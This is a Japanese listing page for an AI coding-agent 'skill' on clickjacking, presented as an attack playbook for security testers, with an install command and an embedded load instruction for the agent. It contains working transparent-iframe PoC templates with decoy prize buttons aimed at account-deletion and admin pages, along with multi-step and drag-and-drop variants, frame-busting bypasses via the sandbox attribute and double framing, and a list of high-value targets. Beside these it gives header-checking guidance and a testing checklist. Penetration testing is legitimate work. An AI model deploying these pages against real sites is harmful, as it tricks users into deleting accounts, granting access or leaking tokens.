clickjacking について
セキュリティテスト担当者向けのクリックジャッキングスキルです。フレーム化の確認、透明 iframe の概念実証、回避手法、複数段階のテストを扱います。
主な機能
- 01X-Frame-Options と CSP の確認
- 02透明 iframe の概念実証
- 03複数段階のクリックジャッキングテスト
- 04ドラッグ&ドロップ攻撃のケース
- 05フレームバスティングスクリプトの確認
活用シーン
- 01機密ページのフレーム化可否を評価
- 02重要操作へのクリックジャッキング影響を検証
- 03フレーム制限とスクリプト防御を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill clickjackingインストール後、Claude Code で/clickjackingを入力して読み込まれたか確認します。
詳細
スキル:クリックジャッキング — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION: クリックジャッキング(UI リダレス)テクニック。iframe の透明化トリック、X-Frame-Options のバイパス、CSP frame-ancestors、複数ステップのクリックジャッキング、ドラッグ&ドロップ攻撃、他の脆弱性との連鎖について解説します。「重大度低」と判定されることが多い問題ですが、管理者の操作を標的にすると、深刻な脅威になります。
1. 基本概念
クリックジャッキングでは、攻撃者のページ上に透明な iframe で標的ページを重ねて読み込みます。被害者には攻撃者の UI が表示されますが、実際には見えない標的ページをクリックするため、意図しない操作が実行されます。
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
2. 検出 — ページをフレームに読み込めるか?
X-Frame-Options ヘッダーを確認する
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
CSP frame-ancestors を確認する
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
最新のブラウザーでは、CSP frame-ancestors が X-Frame-Options より優先されます。
簡易 PoC テスト
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
ページが iframe に読み込まれる場合 → フレームに読み込み可能 → 脆弱性がある可能性があります。
JavaScript によるフレーム検出(標的ページのソースから)
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
このコードが存在していても、CSP frame-ancestors を使用していなければ、多くの場合バイパスできます。
3. 概念実証テンプレート
基本的なシングルクリック
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
複数ステップのクリックジャッキング
「本当によろしいですか?」という確認など、複数回のクリックが必要な操作の場合:
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
各ステップで iframe の位置を調整し、透明なボタンをおとりに重ねます。
ドラッグ&ドロップによるクリックジャッキング
HTML5 のドラッグ&ドロップイベントを使って、ある iframe から別の iframe にデータを抽出します。被害者が見えない iframe をまたいでドラッグすることで、トークンやデータを転送します。
4. バイパス手法
フレーム破棄スクリプトのバイパス
JavaScript によるフレーム破棄を使用するページがあります:
if (top !== self) { top.location = self.location; }
sandbox 属性を使ったバイパス:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
X-Frame-Options ALLOW-FROM のバイパス
Chrome/Safari は ALLOW-FROM に対応していません。サーバーが ALLOW-FROM のみに依存している場合、最新のブラウザーはこれを無視するため、ページをフレームに読み込めます。
二重フレーム化
X-Frame-Options: SAMEORIGIN が設定されていても、XFO なしでフレームに読み込める同一オリジンのページがある場合、そのページを仲介として標的をフレームに読み込みます。
5. 影響の大きい標的
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
6. テストチェックリスト
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers